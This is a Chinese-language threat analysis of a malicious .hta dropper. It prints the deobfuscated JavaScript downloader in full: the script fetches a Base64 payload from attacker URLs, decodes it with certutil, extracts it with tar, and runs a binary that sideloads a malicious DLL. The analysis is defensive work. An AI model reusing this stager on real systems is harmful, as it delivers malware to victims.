“.hta”恶意文件分析
.hta 文件是一种 HTML 应用程序(HTML Application)的文件类型,它允许使用 HTML、JavaScript和VBScript创建一个本地的Windows应用程序。这种文件类型通常被用于创建简单的 Windows 界面或者执行一些系统管理任务。攻击者也可以有目的编写JavaScript和VBScript做恶意用途。
“.hta”文件执行后,会展示与诱饵pdf主题配套的html界面迷惑用户,同时会执行包含在其中的恶意JavaScript。
格式化经过混淆的JavaScript下载器。 经调试获取外连URL。
hxxps://waterforvoiceless.org/util.php
hxxps://seeceafcleaners[.]co[.]uk/cert.php
脚本详细功能如下。
- 向url “hxxps://waterforvoiceless.org/util.php 发送get请求,下载Base64编码的文本文件
- 若响应状态码为200,则读取响应内容,写入文件“C:\Windows\Tasks\invite.txt”中。
- 调用certutil指令解码,将文本文件解码为压缩包文件“C:\Windows\Tasks\invite.zip”
- 延时3秒,调用tar指令,解压压缩包文件。压缩包中包含“SqlDumper.exe”和“vcruntime140.dll”。vcruntime140.dll是攻击者制作的恶意DLL,在执行sqlwriter.exe时会自动加载。
- 延时3秒,执行文件"C:\Windows\Tasks\SqlDumper.exe"。
经过格式化和解除混淆完整JavaScript代码如下。
var a = new ActiveXObject("Wscript.Shell"); //创建了一个 WScript Shell 对象,常用于执行系统命令。
function Ijdaskjw(url) {
var HttpRequest = new XMLHttpRequest();//创建XMLHttpRequest 对象,用于发起 HTTP 请求。
HttpRequest.onreadystatechange = function () {
if (HttpRequest.readyState == 0x4 && HttpRequest.status == 0xc8) {//若响应状态码200
var httpResposneText = HttpRequest.response;//读取响应内容
var FILE = new ActiveXObject("Scripting.FileSystemObject");//创建FileSystemObject对象,用于文件系统操作
//创建文本文件,写入响应内容
var fileDeal = FILE.OpenTextFile("C:\\Windows\\Tasks\\invite.txt", 0x2, true, 0x0);
fileDeal.Write(httpResposneText);
fileDeal.close();
//调用certutil解码 ,文本文件转压缩文件
a.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows\\Tasks\\invite.zip", 0x0);
//延时3秒
var _0x245d53 = Date.now();
var _0x3f9f72 = null;
do {
_0x3f9f72 = Date.now();
} while (_0x3f9f72 - _0x245d53 < 0xbb8);
//调用tar指令解压invite.zip文件
a.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks\\ ", 0x0);
//延时3秒
var _0x245d53 = Date.now();
var _0x3f9f72 = null;
do {
_0x3f9f72 = Date.now();
} while (_0x3f9f72 - _0x245d53 < 0xdac);
//执行文件
a.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0x0);
}
};
//发送请求
HttpRequest.open("GET", url, true);//"https://waterforvoiceless.org/util.php"
HttpRequest.send(null);
}
Ijdaskjw("hxxps://waterforvoiceless.org/util.php");